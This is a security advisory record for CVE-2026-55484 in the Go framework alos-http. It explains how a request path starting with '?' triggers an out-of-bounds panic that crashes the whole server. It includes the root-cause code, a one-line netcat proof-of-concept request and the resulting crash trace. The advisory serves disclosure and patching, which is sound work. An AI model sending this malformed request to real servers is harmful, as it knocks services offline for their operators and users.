CVE-2026-55484: Github.com/guno1928/alos http Malformed Path Starting With "?" Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-hr6j-w4mw-g9mj",
  "modified" : "2026-08-28T19:19:38Z",
  "published" : "2026-08-28T19:19:38Z",
  "aliases" : [ "CVE-2026-55484" ],
  "summary" : "alos-http has unauthenticated remote DoS: malformed path starting with \"?\" triggers out-of-bounds panic in sanitizeRequestPath, crashing entire server",
  "details" : "### Summary\nA single unauthenticated HTTP request to a path starting with `?` (e.g. `GET ? HTTP/1.1`) crashes the entire server process.\nThe request line parser passes the path to `sanitizeRequestPath` which indexes the first byte of the path after stripping the query string. It does so without checking that it is non-empty, leading to an out-of-bounds panic. The panic occurs before any handler or middleware runs so `core.Recovery()` does not recover it. The entire process panics and every connection is dropped. It is reachable over HTTP/1.1, HTTP/2 and HTTP/3 if `ListenAndServeQUIC` is enabled\n\n### Details\n**root cause**: `core/utils.go::sanitizeRequestPath`\n```go\n// assume path := \"?\"\nif len(path) == 0 { // len(path) == 1\n\treturn \"/\"\n}\n\np, _ := splitPathQuery(path) // p == \"\"\n\nif p[0] == '/' /*...*/ { // p[0] on empty string => panic: index out of range\n\treturn p\n}\n```\n\n* when the path starts with \"?\" len(path) is not 0 so the early return does not fire\n* after `splitPathQuery` `p` is empty `\"\"`\n* `p` is then indexed `p[0]` without a length check\n\nRelevant calling sites:\n\n* `h1_plain.go:ParseH1RequestHead` (HTTP/1.1)\n* `h1.go::ParseH1Request` (dead code)\n* `hpack.go::decodeSimpleGetPathHTTPSRequest` (HTTP/2)\n* `hpack.go::observeHeader` (HTTP/2)\n* `h3_conn.go::handleRequestStream` (HTTP/3)\n\nthese run in the connection-worker goroutine before the handler chain, which has no recover(), causing the entire http server to crash in case of a panic\n\n### PoC\n\nMinimal server, using [the quick-start](https://github.com/guno1928/alos-http#quick-start)\n\n```go\nsrv := core.New(core.Config{Addr: \":8080\", PlainHTTP: true})\nsrv.Router.Use(core.Recovery()) // is unable to catch a parser panic\nsrv.Router.GET(\"/\", func(req *core.Request, resp *core.Response) { resp.Status(200).String(\"not crashed (yet)\") })\nlog.Fatal(srv.ListenAndServe())\n```\n\nCrash it with a single request\n\n```bash\nprintf 'GET ? HTTP/1.1\\r\\nHost: x\\r\\n\\r\\n' | nc 127.0.0.1 8080\n```\n\nServer output & crash\n\n```log\n2026/06/11 20:52:52 listening on http://localhost:8080\n2026/06/11 20:52:52 [INFO] capabilities: linux/amd64 cpu=8 gomaxprocs=8 workers=8 aes-ni=true ktls-ulp=false nic=eth0 ktls-hw-offload=false => use-ktls=false\n2026/06/11 20:52:52 [INFO] raised RLIMIT_NOFILE soft limit to 1048576 (hard=1048576)\n2026/06/11 20:52:52 === ALOS HTTP Server (Plain HTTP/1.1 + HTTP/2 prior knowledge) ===\n2026/06/11 20:52:52 Listening on http://:8080 (8 listener(s))\n2026/06/11 20:52:52 [INFO] io_uring plain worker mode active on Linux amd64: workers=8 accept-shards=8 initial-conn-pool=1600\npanic: runtime error: index out of range [0] with length 0\n\ngoroutine 34 [running]:\ngithub.com/guno1928/alos-http/core.sanitizeRequestPath({0xa4aec31a004, 0x1})\n        /home/baloo/alos-http/core/utils.go:566 +0x64a\ngithub.com/guno1928/alos-http/core.ParseH1RequestHead({0xa4aec31a000, 0x1b, 0x2000}, 0xa4ae6c80098)\n        /home/baloo/alos-http/core/h1_plain.go:474 +0x48c\ngithub.com/guno1928/alos-http/core.(*plainUringWorker).processRequests(0xa4ae6f00008, 0xa4ae6c80000)\n        /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:618 +0x1db\ngithub.com/guno1928/alos-http/core.(*plainUringWorker).handleBufferedRead(0xa4ae6f00008, 0xa4ae6c80000, 0x0?, 0x3, 0xa4aec406d00?)\n        /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:572 +0x365\ngithub.com/guno1928/alos-http/core.(*plainUringWorker).handleRead(0x0?, 0xa4aec406d00?, 0x489bcd?, 0x0?, 0x22ecdd3b63a?)\n        /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:510 +0x25\ngithub.com/guno1928/alos-http/core.(*plainUringWorker).handleCompletion(0xa4ae6f00008?, 0xa4ae6f00068?, {0x0?, 0x0?, 0x0?}, 0x0?)\n        /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:453 +0x185\ngithub.com/guno1928/alos-http/core.(*plainUringWorker).run(0xa4ae6f00008, 0xa4ae686f000)\n        /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:373 +0x72a\ngithub.com/guno1928/alos-http/core.(*plainUringBackend).start.func1()\n        /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:190 +0x69\ncreated by github.com/guno1928/alos-http/core.(*plainUringBackend).start in goroutine 1\n        /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:188 +0x3a\nexit status 2\n```\n\nall subsequent requests now fail, since the server is down\n\n### Impact\n\nUnauthenticated remote single-request denial of service. Any client that can reach the server can crash it with one trivial malformed request.\nRepeating this process keeps the service offline. \nThere is no loss of confidentiality or integrity. Only availability. Since HTTP/1.1 and HTTP/2 are served by default this affects effectively all deployments of the framework, unless shielded by third parties (e.g. reverse proxies like nginx)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/guno1928/alos-http"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.0.0-20260617230736-314b6783e196"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/guno1928/alos-http/security/advisories/GHSA-hr6j-w4mw-g9mj"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/guno1928/alos-http/commit/314b6783e19698c85ea9d9b197ff52f7f6a3a374"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/guno1928/alos-http"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-248", "CWE-754" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-28T19:19:38Z",
    "nvd_published_at" : null
  }
}